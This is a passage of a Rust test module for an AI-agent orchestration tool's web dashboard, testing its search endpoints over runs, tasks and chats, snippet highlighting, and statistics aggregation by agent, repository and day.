17811        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
17812        std::fs::write(
17813            runs.join("20260902-140503-cccc").join("run.json"),
17814            "{ not json",
17815        )
17816        .unwrap();
17817
17818        let res = f.get("/api/search?scope=runs&q=quokka").await;
17819        assert_eq!(res.status, 200, "{}", res.body);
17820        let v = res.json();
17821        assert_eq!(v["total"], 1, "{v}");
17822        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
17823        assert_eq!(v["hits"][0]["field"], "text");
17824        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
17825        let parts = v["hits"][0]["snippet"].as_array().unwrap();
17826        assert!(
17827            parts
17828                .iter()
17829                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
17830            "{v}"
17831        );
17832        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
17833        assert_eq!(
17834            flat, "The Quokka leaks across threads",
17835            "whitespace is collapsed"
17836        );
17837
17838        // Terms are ANDed, across different fields, case-insensitively.
17839        let both = f
17840            .get("/api/search?scope=runs&q=MOBILE%20quokka")
17841            .await
17842            .json();
17843        assert_eq!(both["total"], 1, "{both}");
17844        let neither = f
17845            .get("/api/search?scope=runs&q=quokka%20zebra")
17846            .await
17847            .json();
17848        assert_eq!(neither["total"], 0, "{neither}");
17849        // Everything in the task statement is reachable, not only the row text.
17850        let stmt = f
17851            .get("/api/search?scope=runs&q=mobile%20first")
17852            .await
17853            .json();
17854        assert_eq!(stmt["total"], 2, "{stmt}");
17855        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
17856        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
17857    }
17858
17859    #[test]
17860    fn snippet_ignores_terms_longer_than_the_field() {
17861        let terms = ["ok".to_owned(), "elephant".to_owned()];
17862        let parts = snippet_of("ok", &terms);
17863        assert_eq!(
17864            parts,
17865            vec![SnippetPart {
17866                text: "ok".to_owned(),
17867                hit: true
17868            }]
17869        );
17870    }
17871
17872    #[test]
17873    fn snippet_marks_matches_longer_than_the_window() {
17874        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
17875        let hit_len = |parts: &[SnippetPart]| -> usize {
17876            parts
17877                .iter()
17878                .filter(|p| p.hit)
17879                .map(|p| p.text.chars().count())
17880                .sum()
17881        };
17882        let total =
17883            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
17884
17885        let long = "a".repeat(120);
17886        let parts = snippet_of(&long, std::slice::from_ref(&long));
17887        assert!(hit_len(&parts) > 0, "{parts:?}");
17888        assert!(total(&parts) <= cap);
17889
17890        let ja = "あ".repeat(130);
17891        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
17892        assert!(hit_len(&parts) > 0, "{parts:?}");
17893        assert!(total(&parts) <= cap);
17894
17895        // A short hit, then one straddling the window's end.
17896        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
17897        let term = format!("ab{}", "c".repeat(100));
17898        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
17899        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
17900        assert!(total(&parts) <= cap);
17901
17902        // Only the head matches: not highlighted.
17903        let text = format!("{}z", "a".repeat(119));
17904        let parts = snippet_of(&text, &["a".repeat(120)]);
17905        assert_eq!(hit_len(&parts), 0, "{parts:?}");
17906    }
17907
17908    #[tokio::test]
17909    async fn search_caps_hits_and_snippet_length() {
17910        let f = Fixture::start().await;
17911        let runs = f.runs();
17912        for n in 0..(SEARCH_MAX_HITS + 5) {
17913            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
17914        }
17915        let v = f.get("/api/search?scope=runs&q=web").await.json();
17916        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
17917        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
17918        assert_eq!(v["truncated"], true);
17919        // Every listed run hit carries its list row for the page's filters.
17920        assert!(
17921            v["hits"]
17922                .as_array()
17923                .unwrap()
17924                .iter()
17925                .all(|h| h["run"]["status"] == "merged")
17926        );
17927
17928        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
17929        let parts = snippet_of(&long, &["needle".to_owned()]);
17930        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
17931        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
17932        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
17933    }
17934
17935    #[tokio::test]
17936    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
17937        let f = Fixture::start().await;
17938        let queue = f.queue();
17939        let mut t = Task::new(
17940            "short title".to_owned(),
17941            "line one\nthe hidden Armadillo detail".to_owned(),
17942            PathBuf::from("/repo/magi"),
17943            Source::Agent {
17944                run: "r1".to_owned(),
17945                node: "chat".to_owned(),
17946            },
17947        );
17948        t.last_error = Some("disk full on /tmp".to_owned());
17949        queue.put(&mut t).expect("file the task");
17950
17951        for (q, want) in [
17952            ("armadillo", 1),
17953            ("disk%20FULL", 1),
17954            ("chat", 1),
17955            ("queued", 1),
17956            ("short%20nothing", 0),
17957        ] {
17958            let v = f
17959                .get(&format!("/api/search?scope=tasks&q={q}"))
17960                .await
17961                .json();
17962            assert_eq!(v["total"], want, "{q}: {v}");
17963        }
17964        for bad in [
17965            "/api/search?scope=tasks&q=",
17966            "/api/search?scope=tasks&q=%20",
17967            "/api/search?scope=chats&q=",
17968            "/api/search?scope=chats&q=%20",
17969            "/api/search?scope=nope&q=a",
17970            "/api/search?q=a",
17971        ] {
17972            assert_eq!(f.get(bad).await.status, 400, "{bad}");
17973        }
17974    }
17975
17976    /// Write one conversation file the way the store reads it back.
17977    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
17978        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
17979            .expect("seat value");
17980        let turns: Vec<serde_json::Value> = turns
17981            .iter()
17982            .map(|(who, body)| {
17983                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
17984            })
17985            .collect();
17986        let doc = serde_json::json!({
17987            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
17988            "status": status, "turns": turns,
17989            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
17990            "seat": seat,
17991        });
17992        let dir = f.home.path().join("talks");
17993        std::fs::create_dir_all(&dir).expect("talks dir");
17994        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
17995    }
17996
17997    #[test]
17998    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
17999        let mut talk: Talk = serde_json::from_value(serde_json::json!({
18000            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
18001            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
18002            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
18003            "seat": crate::agent::SeatState::new("talk", "test", 1)
18004        })).unwrap();
18005        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
18006        talk.title = Some(talk::ChatTitle {
18007            text: "最近の話題".into(),
18008            source: talk::TitleSource::Generated,
18009        });
18010        let doc = talk_search_doc(&talk);
18011        assert_eq!(doc["title"], "最近の話題");
18012        assert_eq!(doc["turns"][0]["operator"], "古い話題");
18013        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
18014        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
18015    }
18016
18017    #[tokio::test]
18018    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
18019        let f = Fixture::start().await;
18020        write_talk(
18021            &f,
18022            "20260901-000001-aaaa",
18023            "open",
18024            &[
18025                (
18026                    "operator",
18027                    "\n  Why does the Pangolin cache expire?\nsecond line",
18028                ),
18029                ("agent", "Because the TTL is thirty seconds."),
18030            ],
18031        );
18032        write_talk(
18033            &f,
18034            "20260901-000002-bbbb",
18035            "closed",
18036            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
18037        );
18038        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
18039
18040        let search = |q: &'static str| {
18041            let f = &f;
18042            async move {
18043                f.get(&format!("/api/search?scope=chats&q={q}"))
18044                    .await
18045                    .json()
18046            }
18047        };
18048
18049        let v = search("PANGOLIN").await;
18050        assert_eq!(v["scope"], "chats");
18051        assert_eq!(v["total"], 1, "{v}");
18052        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
18053        assert_eq!(v["hits"][0]["field"], "title");
18054        assert_eq!(v["unreadable"], 1, "{v}");
18055        let marked: Vec<&str> = v["hits"][0]["snippet"]
18056            .as_array()
18057            .unwrap()
18058            .iter()
18059            .filter(|p| p["hit"] == true)
18060            .map(|p| p["text"].as_str().unwrap())
18061            .collect();
18062        assert_eq!(marked, ["Pangolin"]);
18063
18064        // An agent turn, in a closed conversation.
18065        let v = search("zebra").await;
18066        assert_eq!(v["total"], 1, "{v}");
18067        assert_eq!(v["hits"][0]["field"], "agent");
18068        // Words may sit in different turns; all must be present.
18069        assert_eq!(search("pangolin%20thirty").await["total"], 1);
18070        assert_eq!(search("pangolin%20zebra").await["total"], 0);
18071        // Bookkeeping is not searched.
18072        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
18073            assert_eq!(search(q).await["total"], 0, "{q}");
18074        }
18075        // The first line only is the title; the second line is still a turn.
18076        assert_eq!(search("second").await["hits"][0]["field"], "operator");
18077        // Open conversations are listed before closed ones.
18078        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
18079
18080        let v = f.get("/api/search?scope=nope&q=a").await;
18081        assert_eq!(v.status, 400);
18082        assert!(
18083            v.body.contains("scope must be runs, tasks or chats"),
18084            "{}",
18085            v.body
18086        );
18087    }
18088
18089    #[test]
18090    fn a_question_card_links_a_task_id_to_the_task_page() {
18091        let start = APP_JS
18092            .find("function updateAskCard(")
18093            .expect("updateAskCard exists");
18094        let body = &APP_JS[start..];
18095        let body = &body[..body.find("\n}\n").expect("function end")];
18096        assert!(body.contains("question.run_is_task"));
18097        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
18098        assert!(body.contains("`#/runs/${question.run}`"));
18099        assert!(body.contains("\"task\" : \"run\""));
18100    }
18101
18102    #[test]
18103    fn plain_text_message_surfaces_go_through_linkify() {
18104        assert!(APP_JS.contains("function linkify("));
18105        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
18106        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
18107        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
18108        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
18109        assert!(!APP_JS.contains("innerHTML = text"));
18110    }
18111
18112    #[test]
18113    fn implementation_rate_views_keep_independent_samples() {
18114        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
18115            let a = stats::AgentStats {
18116                competitive_entered: competitive_n,
18117                competitive_wins: usize::from(competitive_n > 0),
18118                solo_entered: solo_n,
18119                solo_adopted: 2 * usize::from(solo_n > 0),
18120                ..Default::default()
18121            };
18122            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
18123            for (key, n, numerator) in [
18124                ("competitive_win_rate", competitive_n, a.competitive_wins),
18125                ("solo_adoption_rate", solo_n, a.solo_adopted),
18126            ] {
18127                if n == 0 {
18128                    assert!(v[key].is_null());
18129                } else {
18130                    assert_eq!(v[key]["denominator"], n);
18131                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
18132                }
18133            }
18134        }
18135        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
18136        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
18137        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
18138        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18139    }
18140
18141    #[test]
18142    fn stats_bars_share_one_id_keyed_plan() {
18143        let start = APP_JS
18144            .find("function statsBarRows(")
18145            .expect("statsBarRows exists");
18146        let body = &APP_JS[start..];
18147        let body = &body[..body.find("\n}\n").expect("function end")];
18148        assert!(body.contains("statsBarPlan(rows)"));
18149        assert!(body.contains("statsAgentTone(row.agent)"));
18150        assert!(!body.contains("candTone(i)"));
18151        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
18152        for root in [
18153            "stats-agents-bars",
18154            "stats-solo-bars",
18155            "stats-reviewers-bars",
18156        ] {
18157            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
18158        }
18159    }
18160
18161    #[test]
18162    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
18163        let start = APP_JS
18164            .find("function renderStatsReviewerScatter(")
18165            .expect("renderStatsReviewerScatter exists");
18166        let body = &APP_JS[start..];
18167        let body = &body[..body.find("\n}\n").expect("function end")];
18168        assert!(body.contains("statsScatterPlan(reviewers)"));
18169        assert!(body.contains("statsAgentTone(d.agent)"));
18170        assert!(APP_JS.contains("function statsScatterPlan("));
18171        assert!(
18172            APP_JS.contains("d.submitted < STATS_LOW_N")
18173                || APP_JS.contains("r.submitted < STATS_LOW_N")
18174        );
18175        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
18176        assert!(APP_CSS.contains(".precision-scatter"));
18177    }
18178
18179    #[test]
18180    fn advisor_reflection_is_drawn_as_stacked_segments() {
18181        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
18182        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
18183        let html = include_str!("../assets/ui/index.html");
18184        assert!(html.contains("Approximate"));
18185        for label in ["reflected strongly", "faint", "no proposal"] {
18186            assert!(html.contains(label));
18187        }
18188        let css = include_str!("../assets/ui/app.css");
18189        for c in ["refl-strong", "refl-faint", "refl-absent"] {
18190            assert!(css.contains(&format!(".{c} {{")));
18191        }
18192    }
18193
18194    #[test]
18195    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
18196        assert!(APP_JS.contains("function statsDailyPlan("));
18197        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18198        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18199    }
18200
18201    #[test]
18202    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18203        let start = APP_JS
18204            .find("function scheduleSearch(")
18205            .expect("scheduleSearch exists");
18206        let body = &APP_JS[start..];
18207        let body = &body[..body.find("\n}\n").expect("function end")];
18208        assert!(body.contains("s.seq += 1"));
18209    }
18210
18211    /// The dashboard reads every run's state itself rather than trusting a
18212    /// separately-maintained count, so an unreadable run must be counted the
18213    /// same way `/api/health` counts it - never silently dropped the way the
18214    /// CLI's own `stats::load_all` drops it.
18215    #[tokio::test]
18216    async fn stats_runs_unreadable_matches_health() {
18217        let f = Fixture::start().await;
18218        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18219        let broken = f.runs().join("20260902-140502-bad");
18220        std::fs::create_dir_all(&broken).expect("run dir");
18221        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18222
18223        let stats = f.get("/api/stats").await;
18224        let health = f.get("/api/health").await;
18225
18226        assert_eq!(stats.status, 200);
18227        assert_eq!(stats.json()["totals"]["runs"], 1);
18228        assert_eq!(stats.json()["runs_unreadable"], 1);
18229        assert_eq!(
18230            stats.json()["runs_unreadable"],
18231            health.json()["runs_unreadable"],
18232            "the dashboard and /api/health must never disagree about how many \
18233             runs could not be read"
18234        );
18235    }
18236
18237    #[tokio::test]
18238    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18239        let f = Fixture::start().await;
18240        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18241        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18242        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18243
18244        let totals = &f.get("/api/stats").await.json()["totals"];
18245        assert_eq!(totals["runs"], 3);
18246        assert_eq!(totals["merged"], 1);
18247        assert_eq!(totals["stalled"], 1);
18248        assert_eq!(totals["in_progress"], 1);
18249        // A stalled run must never read as blocked/merged/ready - it is its
18250        // own bucket, not folded into a "decided" one.
18251        assert_eq!(totals["blocked"], 0);
18252        assert_eq!(totals["ready"], 0);
18253    }
18254
18255    #[tokio::test]
18256    async fn stats_advisors_report_proposals_and_reflection() {
18257        use crate::advise::{Advice, AdvisorRecord, Reflection};
18258        use crate::verdict::Proposal;
18259
18260        let f = Fixture::start().await;
18261        let mut state = RunState::new(
18262            PathBuf::from("/repo/magi"),
18263            "main".to_owned(),
18264            "0123456789abcdef".to_owned(),
18265            "task".to_owned(),
18266            Config::default(),
18267        );
18268        state.id = "20260902-140501-a".to_owned();
18269        state.status = RunStatus::Merged;
18270        state.advice = Some(Advice {
18271            records: vec![
18272                AdvisorRecord {
18273                    seat: "advisor-1".to_owned(),
18274                    agent: "alpha".to_owned(),
18275                    proposal: Some(Proposal {
18276                        approach: "do it".to_owned(),
18277                        key_tradeoff: "speed over memory".to_owned(),
18278                        risks: Vec::new(),
18279                        touches: Vec::new(),
18280                        why_not_naive: "breaks under load".to_owned(),
18281                    }),
18282                    error: None,
18283                    duration_ms: 0,
18284                    reflection: Reflection::Strong,
18285                },
18286                AdvisorRecord {
18287                    seat: "advisor-2".to_owned(),
18288                    agent: "alpha".to_owned(),
18289                    proposal: None,
18290                    error: Some("timed out".to_owned()),
18291                    duration_ms: 0,
18292                    reflection: Reflection::Absent,
18293                },
18294            ],
18295            synthesis: Some("blended brief".to_owned()),
18296        });
18297        let dir = f.runs().join(&state.id);
18298        std::fs::create_dir_all(&dir).expect("run dir");
18299        std::fs::write(
18300            dir.join("run.json"),
18301            serde_json::to_string_pretty(&state).expect("serialize run"),
18302        )
18303        .expect("write run.json");
18304
18305        // `alpha` is in no roster here; this test is about the rates.
18306        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18307        let alpha = advisors
18308            .as_array()
18309            .expect("an array")
18310            .iter()
18311            .find(|a| a["agent"] == "alpha")
18312            .expect("alpha row");
18313        assert_eq!(alpha["seated"], 2);
18314        assert_eq!(alpha["proposed"], 1);
18315        assert_eq!(alpha["absent"], 1);
18316        assert_eq!(alpha["strong"], 1);
18317        assert_eq!(alpha["faint"], 0);
18318        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18319    }
18320
18321    #[tokio::test]
18322    async fn stats_hides_agents_outside_the_roster_unless_all() {
18323        use crate::run::Candidate;
18324        let repo = TempDir::new().expect("repo dir");
18325        std::fs::write(
18326            repo.path().join("magi.toml"),
18327            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18328        )
18329        .expect("magi.toml");
18330        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18331        let mut state = RunState::new(
18332            PathBuf::from("/repo/magi"),
18333            "main".to_owned(),
18334            "0123456789abcdef".to_owned(),
18335            "task".to_owned(),
18336            Config::default(),
18337        );
18338        state.id = "20260902-140501-a".to_owned();
18339        state.status = RunStatus::Merged;
18340        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18341            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18342                "index": 0, "label": label.to_string(), "agent": agent,
18343                "branch": "b", "worktree": "/w",
18344            }))
18345            .expect("candidate");
18346            c.label = label;
18347            state.candidates.push(c);
18348        }
18349        let dir = f.runs().join(&state.id);
18350        std::fs::create_dir_all(&dir).expect("run dir");
18351        std::fs::write(
18352            dir.join("run.json"),
18353            serde_json::to_string_pretty(&state).expect("serialize run"),
18354        )
18355        .expect("write run.json");
18356
18357        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18358            v["agents"]
18359                .as_array()
18360                .expect("array")
18361                .iter()
18362                .map(|a| a["agent"].as_str().unwrap().to_owned())
18363                .collect()
18364        };
18365        let hidden = f.get("/api/stats").await.json();
18366        assert_eq!(agents_of(&hidden), ["keep"]);
18367        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18368        assert_eq!(hidden["totals"]["runs"], 1);
18369
18370        let all = f.get("/api/stats?all=true").await.json();
18371        assert_eq!(agents_of(&all).len(), 2);
18372        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18373        // Verify competitive and solo keys exist on agent entries
18374        let keep_agent = all["agents"]
18375            .as_array()
18376            .unwrap()
18377            .iter()
18378            .find(|a| a["agent"] == "keep")
18379            .unwrap();
18380        assert_eq!(keep_agent["competitive_entered"], 1);
18381        assert_eq!(keep_agent["competitive_wins"], 0);
18382        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18383        assert_eq!(keep_agent["solo_entered"], 0);
18384        assert_eq!(keep_agent["solo_adopted"], 0);
18385        assert!(keep_agent["solo_adoption_rate"].is_null());
18386    }
18387
18388    #[tokio::test]
18389    async fn stats_release_bumps_split_clean_from_attention() {
18390        use crate::run::ReleaseBump;
18391
18392        let f = Fixture::start().await;
18393
18394        let mut clean = RunState::new(
18395            PathBuf::from("/repo/magi"),
18396            "main".to_owned(),
18397            "0123456789abcdef".to_owned(),
18398            "task".to_owned(),
18399            Config::default(),
18400        );
18401        clean.id = "20260902-140501-a".to_owned();
18402        clean.status = RunStatus::Merged;
18403        clean.release_bump = Some(ReleaseBump {
18404            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18405            version: Some("1.0.0".to_owned()),
18406            automerge_enabled: true,
18407            merged_directly: false,
18408            local: false,
18409            release: None,
18410            problem: None,
18411            action_required: None,
18412            skipped: None,
18413        });
18414
18415        let mut blocked = RunState::new(
18416            PathBuf::from("/repo/magi"),
18417            "main".to_owned(),
18418            "0123456789abcdef".to_owned(),
18419            "task".to_owned(),
18420            Config::default(),
18421        );
18422        blocked.id = "20260902-140502-b".to_owned();
18423        blocked.status = RunStatus::Merged;
18424        blocked.release_bump = Some(ReleaseBump {
18425            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18426            version: Some("1.0.1".to_owned()),
18427            automerge_enabled: false,
18428            merged_directly: false,
18429            local: false,
18430            release: None,
18431            problem: Some("checks red".to_owned()),
18432            action_required: Some("look at the PR".to_owned()),
18433            skipped: None,
18434        });
18435
18436        for state in [&clean, &blocked] {
18437            let dir = f.runs().join(&state.id);
18438            std::fs::create_dir_all(&dir).expect("run dir");
18439            std::fs::write(
18440                dir.join("run.json"),
18441                serde_json::to_string_pretty(state).expect("serialize run"),
18442            )
18443            .expect("write run.json");
18444        }
18445
18446        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18447        assert_eq!(bumps["merged"], 2);
18448        assert_eq!(bumps["recorded"], 2);
18449        assert_eq!(bumps["pr_opened"], 2);
18450        assert_eq!(bumps["automerge_enabled"], 1);
18451        assert_eq!(bumps["needs_attention"], 1);
18452        assert_eq!(bumps["clean"], 1);
18453        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18454        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18455    }
18456
18457    #[tokio::test]
18458    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18459        let f = Fixture::start().await;
18460        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18461
18462        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18463        assert_eq!(bumps["merged"], 1);
18464        assert_eq!(bumps["recorded"], 0);
18465        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18466        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18467        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18468        // `pr_opened` and `recorded` are both zero here, so these rates have
18469        // no denominator to compute from and must be null.
18470        assert_eq!(bumps["automerge_rate"], Value::Null);
18471        assert_eq!(bumps["attention_rate"], Value::Null);
18472    }
18473
18474    #[tokio::test]
18475    async fn stats_queue_counts_come_from_the_live_queue() {
18476        let f = Fixture::start().await;
18477        let q = f.queue();
18478        let mut queued = Task::new(
18479            "queued task".to_owned(),
18480            "do it".to_owned(),
18481            PathBuf::from("/repo"),
18482            Source::Human,
18483        );
18484        q.put(&mut queued).expect("put queued");
18485        let mut held = Task::new(
18486            "held task".to_owned(),
18487            "do it later".to_owned(),
18488            PathBuf::from("/repo"),
18489            Source::Human,
18490        );
18491        held.hold_machine(Some("out of attempts".to_owned()));
18492        q.put(&mut held).expect("put held");
18493
18494        let queue = f.get("/api/stats").await.json()["queue"].clone();
18495        assert_eq!(queue["queued"], 1);
18496        assert_eq!(queue["held"], 1);
18497        assert_eq!(queue["running"], 0);
18498        assert_eq!(queue["done"], 0);
18499        assert_eq!(queue["failed"], 0);
18500        assert_eq!(queue["blocked"], 0);
18501    }
18502
18503    #[tokio::test]
18504    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18505        let f = Fixture::start().await;
18506        let stats = f.get("/api/stats").await;
18507        assert_eq!(stats.status, 200);
18508        assert_eq!(stats.json()["totals"]["runs"], 0);
18509        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18510        assert_eq!(stats.json()["runs_unreadable"], 0);
18511        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18512        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18513        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18514        assert_eq!(stats.json()["repo"], Value::Null);
18515    }
18516
18517    #[tokio::test]
18518    async fn stats_lists_every_repository_with_runs_recorded() {
18519        let f = Fixture::start().await;
18520        write_run_repo(
18521            &f.runs(),
18522            "20260902-140501-a",
18523            RunStatus::Merged,
18524            "/repos/a",
18525        );
18526        write_run_repo(
18527            &f.runs(),
18528            "20260902-140502-b",
18529            RunStatus::Merged,
18530            "/repos/a",
18531        );
18532        write_run_repo(
18533            &f.runs(),
18534            "20260902-140503-c",
18535            RunStatus::Blocked,
18536            "/repos/b",
18537        );
18538
18539        let stats = f.get("/api/stats").await;
18540        assert_eq!(stats.status, 200);
18541        // Unfiltered - the aggregate across both repositories.
18542        assert_eq!(stats.json()["totals"]["runs"], 3);
18543        assert_eq!(stats.json()["repo"], Value::Null);
18544
18545        let repos = stats.json()["repos"].clone();
18546        let repos = repos.as_array().unwrap();
18547        assert_eq!(repos.len(), 2);
18548        // Busiest (2 runs) first.
18549        assert_eq!(repos[0]["repo"], "/repos/a");
18550        assert_eq!(repos[0]["name"], "a");
18551        assert_eq!(repos[0]["runs"], 2);
18552        assert_eq!(repos[1]["repo"], "/repos/b");
18553        assert_eq!(repos[1]["runs"], 1);
18554    }
18555
18556    #[tokio::test]
18557    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18558        let f = Fixture::start().await;
18559        write_run_repo(
18560            &f.runs(),
18561            "20260902-140501-a",
18562            RunStatus::Merged,
18563            "/repos/a",
18564        );
18565        write_run_repo(
18566            &f.runs(),
18567            "20260902-140502-b",
18568            RunStatus::Blocked,
18569            "/repos/b",
18570        );
18571
18572        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18573        assert_eq!(stats.status, 200);
18574        assert_eq!(stats.json()["totals"]["runs"], 1);
18575        assert_eq!(stats.json()["totals"]["merged"], 1);
18576        assert_eq!(stats.json()["repo"], "/repos/a");
18577        // The repository list itself is unaffected by the filter - it is
18578        // what a client switches repositories from.
18579        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18580        // runs_unreadable is a whole-workload count, never scoped to the
18581        // selected repository - see StatsView::runs_unreadable's own doc.
18582        assert_eq!(stats.json()["runs_unreadable"], 0);
18583    }
18584
18585    #[tokio::test]
18586    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18587        let f = Fixture::start().await;
18588        write_run_repo(
18589            &f.runs(),
18590            "20260902-140501-a",
18591            RunStatus::Merged,
18592            "/repos/a",
18593        );
18594        write_run_repo(
18595            &f.runs(),
18596            "20260902-140502-b",
18597            RunStatus::Merged,
18598            "/repos/b",
18599        );
18600
18601        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18602            let json = f.get(uri).await.json();
18603            let daily = json["daily"].as_array().expect("daily is an array");
18604            assert_eq!(daily.len(), 30);
18605            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18606            let mut sorted = dates.clone();
18607            sorted.sort();
18608            assert_eq!(dates, sorted);
18609            for d in daily {
18610                assert_eq!(
18611                    d["merged"].as_u64().unwrap()
18612                        + d["ready"].as_u64().unwrap()
18613                        + d["other"].as_u64().unwrap(),
18614                    d["runs"].as_u64().unwrap()
18615                );
18616            }
18617            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18618        }
18619    }
18620
18621    #[tokio::test]
18622    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18623        let f = Fixture::start().await;
18624        write_run_repo(
18625            &f.runs(),
18626            "20260902-140501-a",
18627            RunStatus::Merged,
18628            "/repos/a",
18629        );
18630
18631        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18632        assert_eq!(stats.status, 404);
18633    }
18634
18635    #[tokio::test]
18636    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18637        let f = Fixture::start().await;
18638        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18639
18640        let summary = f.get("/api/runs").await.json();
18641        let row = &summary[0];
18642        assert_eq!(row["short"], "a1b2");
18643        assert_eq!(row["status"], "ready");
18644        assert_eq!(row["done"], true);
18645        assert_eq!(row["title"], "Add a web UI");
18646        assert_eq!(row["repo_name"], "magi");
18647        assert_eq!(row["judges"], 3);
18648        assert_eq!(row["winner"], Value::Null);
18649        assert_eq!(row["reviews"], 0);
18650
18651        // The short id resolves, and the detail route is the state itself, not
18652        // a projection of it: the UI reads fields the summary does not carry.
